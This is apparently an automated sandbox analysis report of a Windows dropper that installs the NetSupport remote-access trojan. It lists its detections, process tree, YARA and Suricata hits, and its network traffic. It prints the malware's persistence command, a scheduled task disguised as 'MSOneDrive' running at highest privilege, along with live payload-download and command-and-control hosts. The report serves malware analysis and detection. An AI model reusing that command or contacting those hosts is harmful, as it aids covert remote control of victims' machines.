Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
Analysis ID:	1514955
MD5:	aace5ed77f7d47cad3e45e0ccdc5411c
SHA1:	cb9c403e8ba1a5531543d6c3b46250065b7f49c0
SHA256:	a179d25f0ca4b9f6b7b1b7b4376664e422a6341650f80ba58626881638b64d50
Tags:	exe
Infos:

Detection

NetSupport RAT

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Contains functionalty to change the wallpaper

Delayed program exit found

Found evasive API chain (may stop execution after checking mutex)

Machine Learning detection for sample

Uses schtasks.exe or at.exe to add and modify task schedules

Binary contains a suspicious time stamp

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables security privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (date check)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara detected Keylogger Generic

Yara detected NetSupport remote tool

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe (PID: 4504 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe" MD5: AACE5ED77F7D47CAD3E45E0CCDC5411C)

schtasks.exe (PID: 7376 cmdline: "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "MSOneDrive" /tr "C:\Users\user\AppData\Local/MSOneDrive\client32.exe" /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

client32.exe (PID: 7384 cmdline: C:\Users\user\AppData\Local/MSOneDrive\client32.exe MD5: F6ABEF857450C97EA74CD8F0EB9A8C0A)

client32.exe (PID: 7512 cmdline: C:\Users\user\AppData\Local/MSOneDrive\client32.exe MD5: F6ABEF857450C97EA74CD8F0EB9A8C0A)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\MSOneDrive\client32.exe	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\MSOneDrive\AudioCapture.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\MSOneDrive\TCCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\MSOneDrive\PCICHEK.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\MSOneDrive\pcicapi.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\MSOneDrive\PCICL32.DLL	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Local\MSOneDrive\PCICL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author
0000000B.00000000.1369497547.00000000009D2000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000D.00000000.1388077049.00000000009D2000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000B.00000002.3742058275.00000000009D2000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000D.00000002.1391294248.00000000111CD000.00000004.00000001.01000000.00000008.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000D.00000002.1390661255.00000000009D2000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: client32.exe PID: 7384	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: client32.exe PID: 7384	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: client32.exe PID: 7512	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: client32.exe PID: 7512	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
13.0.client32.exe.9d0000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.2.client32.exe.6cb70000.6.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.0.client32.exe.9d0000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
13.2.client32.exe.6cb70000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.2.client32.exe.9d0000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
13.2.client32.exe.6cb40000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
13.2.client32.exe.9d0000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
13.2.client32.exe.111a3f08.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
13.2.client32.exe.111a3f08.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.2.client32.exe.6cb40000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.2.client32.exe.111a3f08.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
11.2.client32.exe.111a3f08.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
13.2.client32.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
13.2.client32.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.2.client32.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
11.2.client32.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 11 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T14:45:31.650706+0200	2803305	3	Unknown Traffic	192.168.2.7	49700	142.11.212.184	443	TCP
2024-09-21T14:45:36.119849+0200	2803305	3	Unknown Traffic	192.168.2.7	49701	142.11.212.184	443	TCP
2024-09-21T14:45:37.285896+0200	2803305	3	Unknown Traffic	192.168.2.7	49702	142.11.212.184	443	TCP
2024-09-21T14:45:38.537220+0200	2803305	3	Unknown Traffic	192.168.2.7	49703	142.11.212.184	443	TCP

ETPRO MALWARE NetSupport RAT CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T14:45:24.705430+0200	2827745	1	Malware Command and Control Activity Detected	192.168.2.7	49704	37.1.209.225	443	TCP
2024-09-21T14:45:24.705430+0200	2827745	1	Malware Command and Control Activity Detected	192.168.2.7	63016	37.1.209.225	443	TCP
2024-09-21T14:45:24.705430+0200	2827745	1	Malware Command and Control Activity Detected	192.168.2.7	63020	37.1.209.225	443	TCP
2024-09-21T14:45:24.705430+0200	2827745	1	Malware Command and Control Activity Detected	192.168.2.7	63019	37.1.209.225	443	TCP
2024-09-21T14:45:24.705430+0200	2827745	1	Malware Command and Control Activity Detected	192.168.2.7	63018	37.1.209.225	443	TCP
2024-09-21T14:45:24.705430+0200	2827745	1	Malware Command and Control Activity Detected	192.168.2.7	63021	37.1.209.225	443	TCP
2024-09-21T14:45:24.705430+0200	2827745	1	Malware Command and Control Activity Detected	192.168.2.7	63017	37.1.209.225	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	ReversingLabs: Detection: 68%
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Virustotal: Detection: 54%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_110A57F0 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,_malloc,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,		11_2_110A57F0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_110A57F0 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,_malloc,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,		13_2_110A57F0

Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

File opened: C:\Users\user\AppData\Local\MSOneDrive\MSVCR100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 142.11.212.184:443 -> 192.168.2.7:49700 version: TLS 1.2

Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: ir41_qcx.pdb source: ir41_qcx.dll.3.dr
Source:	Binary string: uimanagerbrokerps.pdb source: UIManagerBrokerps.dll.3.dr
Source:	Binary string: E:\nsmsrc\nsm\1280\1280\ctl32\release_unicode\pcichek.pdb source: client32.exe, 0000000B.00000002.3755622548.000000006CB72000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 0000000D.00000002.1392811349.000000006CB72000.00000002.00000001.01000000.00000009.sdmp, PCICHEK.DLL.3.dr
Source:	Binary string: ir50_32.pdb source: ir50_32.dll.3.dr
Source:	Binary string: E:\nsmsrc\nsm\1201\1201F2\client32\Release\PCICL32.pdb source: client32.exe, 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr
Source:	Binary string: stub.pdbGCTL source: dpnhupnp.dll.3.dr, dpnathlp.dll.3.dr, dpnlobby.dll.3.dr
Source:	Binary string: icmp.pdbGCTL source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, icmp.dll.3.dr
Source:	Binary string: smalldll.pdbGCTL source: dxmasf.dll.3.dr
Source:	Binary string: E:\nsmsrc\nsm\1280\1280f12\AudioCapture\Release\AudioCapture.pdb source: AudioCapture.dll.3.dr
Source:	Binary string: icmp.pdb source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, icmp.dll.3.dr
Source:	Binary string: winrssrv.pdbGCTL source: winrssrv.dll.3.dr
Source:	Binary string: wiatrace.pdb source: wiatrace.dll.3.dr
Source:	Binary string: E:\nsmsrc\nsm\1280\1280\ctl32\release_unicode\pcicapi.pdb source: client32.exe, 0000000B.00000002.3755499542.000000006CB45000.00000002.00000001.01000000.0000000A.sdmp, client32.exe, 0000000D.00000002.1392710495.000000006CB45000.00000002.00000001.01000000.0000000A.sdmp, pcicapi.dll.3.dr
Source:	Binary string: E:\DNA\DNABuilds\DNA450\DNA450F3i1\client32\release_unicode_2015\dnarc.pdb source: client32.exe, 0000000B.00000000.1369497547.00000000009D2000.00000002.00000001.01000000.00000007.sdmp, client32.exe, 0000000B.00000002.3742058275.00000000009D2000.00000002.00000001.01000000.00000007.sdmp, client32.exe, 0000000D.00000000.1388077049.00000000009D2000.00000002.00000001.01000000.00000007.sdmp, client32.exe, 0000000D.00000002.1390661255.00000000009D2000.00000002.00000001.01000000.00000007.sdmp, client32.exe.3.dr
Source:	Binary string: smalldll.pdb source: dxmasf.dll.3.dr
Source:	Binary string: E:\nsmsrc\NSN\300\CVA_300F1\Ctl32\release\htctl32.pdb source: client32.exe, 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmp, HTCTL32.DLL.3.dr
Source:	Binary string: winrssrv.pdb source: winrssrv.dll.3.dr
Source:	Binary string: msvcr100.i386.pdb source: client32.exe, client32.exe, 0000000B.00000002.3755290602.000000006CA71000.00000020.00000001.01000000.0000000B.sdmp, client32.exe, 0000000D.00000002.1392381174.000000006CA71000.00000020.00000001.01000000.0000000B.sdmp, msvcr100.dll.3.dr
Source:	Binary string: ir50_32.pdbGCTL source: ir50_32.dll.3.dr
Source:	Binary string: uimanagerbrokerps.pdbGCTL source: UIManagerBrokerps.dll.3.dr
Source:	Binary string: wiatrace.pdbUGP source: wiatrace.dll.3.dr
Source:	Binary string: WFAPIGP.pdb source: wfapigp.dll.3.dr
Source:	Binary string: WerEnc.pdb source: WerEnc.dll.3.dr
Source:	Binary string: stub.pdb source: dpnhupnp.dll.3.dr, dpnathlp.dll.3.dr, dpnlobby.dll.3.dr
Source:	Binary string: GetUName.pdbGCTL source: getuname.dll.3.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: TCCTL32.DLL.3.dr
Source:	Binary string: WFAPIGP.pdbUGP source: wfapigp.dll.3.dr
Source:	Binary string: GetUName.pdb source: getuname.dll.3.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: TCCTL32.DLL.3.dr
Source:	Binary string: d:\a01\_work\2\s\\binaries\x86ret\bin\i386\\msvcp140_codecvt_ids.i386.pdb source: msvcp140_codecvt_ids.dll.3.dr
Source:	Binary string: WerEnc.pdbGCTL source: WerEnc.dll.3.dr
Source:	Binary string: ir41_qcx.pdbGCTL source: ir41_qcx.dll.3.dr

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C8F905 FindFirstFileExW,	3_2_00C8F905
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11061140 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	11_2_11061140
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11065870 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,GetLastError,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,	11_2_11065870
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_110B3B00 GetFileAttributesA,CreateDirectoryA,FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,FindClose,DrawMenuBar,	11_2_110B3B00
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1102BB50 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	11_2_1102BB50
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_111180C0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	11_2_111180C0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_110FE450 _memset,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	11_2_110FE450
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1102BB50 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	13_2_1102BB50
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11061140 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	13_2_11061140
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11065870 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,GetLastError,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,	13_2_11065870
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_110B3B00 GetFileAttributesA,CreateDirectoryA,FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,FindClose,DrawMenuBar,	13_2_110B3B00
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_111180C0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	13_2_111180C0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_110FE450 _memset,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	13_2_110FE450

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.7:49704 -> 37.1.209.225:443
Source: Network traffic	Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.7:63016 -> 37.1.209.225:443
Source: Network traffic	Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.7:63020 -> 37.1.209.225:443
Source: Network traffic	Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.7:63019 -> 37.1.209.225:443
Source: Network traffic	Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.7:63018 -> 37.1.209.225:443
Source: Network traffic	Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.7:63021 -> 37.1.209.225:443
Source: Network traffic	Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.7:63017 -> 37.1.209.225:443

Source: global traffic	HTTP traffic detected: GET /ssd/sdn1.zip HTTP/1.1Host: mlm-cdn.com
Source: global traffic	HTTP traffic detected: GET /ssd/sdn2.zip HTTP/1.1Host: mlm-cdn.com
Source: global traffic	HTTP traffic detected: GET /ssd/sdn3.zip HTTP/1.1Host: mlm-cdn.com
Source: global traffic	HTTP traffic detected: GET /ssd/sdn4.zip HTTP/1.1Host: mlm-cdn.com
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 172.67.68.212 172.67.68.212

Source: Joe Sandbox View

ASN Name: HVC-ASUS HVC-ASUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49700 -> 142.11.212.184:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49701 -> 142.11.212.184:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49702 -> 142.11.212.184:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49703 -> 142.11.212.184:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Code function: 3_2_00C825B0 GetProcessHeap,InternetOpenW,InternetOpenUrlW,GetProcessHeap,InternetReadFile,GetProcessHeap,HeapAlloc,GetProcessHeap,RtlReAllocateHeap,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,RtlFreeHeap,InternetCloseHandle,InternetCloseHandle,

3_2_00C825B0

Source: global traffic	HTTP traffic detected: GET /ssd/sdn1.zip HTTP/1.1Host: mlm-cdn.com
Source: global traffic	HTTP traffic detected: GET /ssd/sdn2.zip HTTP/1.1Host: mlm-cdn.com
Source: global traffic	HTTP traffic detected: GET /ssd/sdn3.zip HTTP/1.1Host: mlm-cdn.com
Source: global traffic	HTTP traffic detected: GET /ssd/sdn4.zip HTTP/1.1Host: mlm-cdn.com
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: mlm-cdn.com
Source: global traffic	DNS traffic detected: DNS query: armayalitim.com
Source: global traffic	DNS traffic detected: DNS query: armayalitim1722.com
Source: global traffic	DNS traffic detected: DNS query: geo.netsupportsoftware.com

Source: unknown

HTTP traffic detected: POST http://37.1.209.225/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 37.1.209.225Connection: Keep-AliveCMD=POLLINFO=1ACK=1Data Raw: Data Ascii:

Source: client32.exe, client32.exe, 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmp, HTCTL32.DLL.3.dr	String found in binary or memory: http://%s/fakeurl.htm
Source: client32.exe, client32.exe, 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmp, HTCTL32.DLL.3.dr	String found in binary or memory: http://%s/testpage.htm
Source: client32.exe, 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmp, HTCTL32.DLL.3.dr	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: client32.exe, client32.exe, 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	String found in binary or memory: http://127.0.0.1
Source: client32.exe, 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 0000000D.00000002.1391176312.0000000011181000.00000002.00000001.01000000.00000008.sdmp, PCICL32.DLL.3.dr	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, pcicapi.dll.3.dr, PCICHEK.DLL.3.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.3.dr	String found in binary or memory: http://crl.globalsign.com/gs/gscodesignsha2g2.crl0
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.3.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1372124884.00000000037A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microso
Source: remcmdstub.exe.3.dr	String found in binary or memory: http://crl.sectigo.com/COMODOTimeStampingCA_2.crl0r
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000002.1370482187.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe, 00000003.00000003.1368006900.0000000001127000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.3.dr, PCICHEK.DLL.3.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
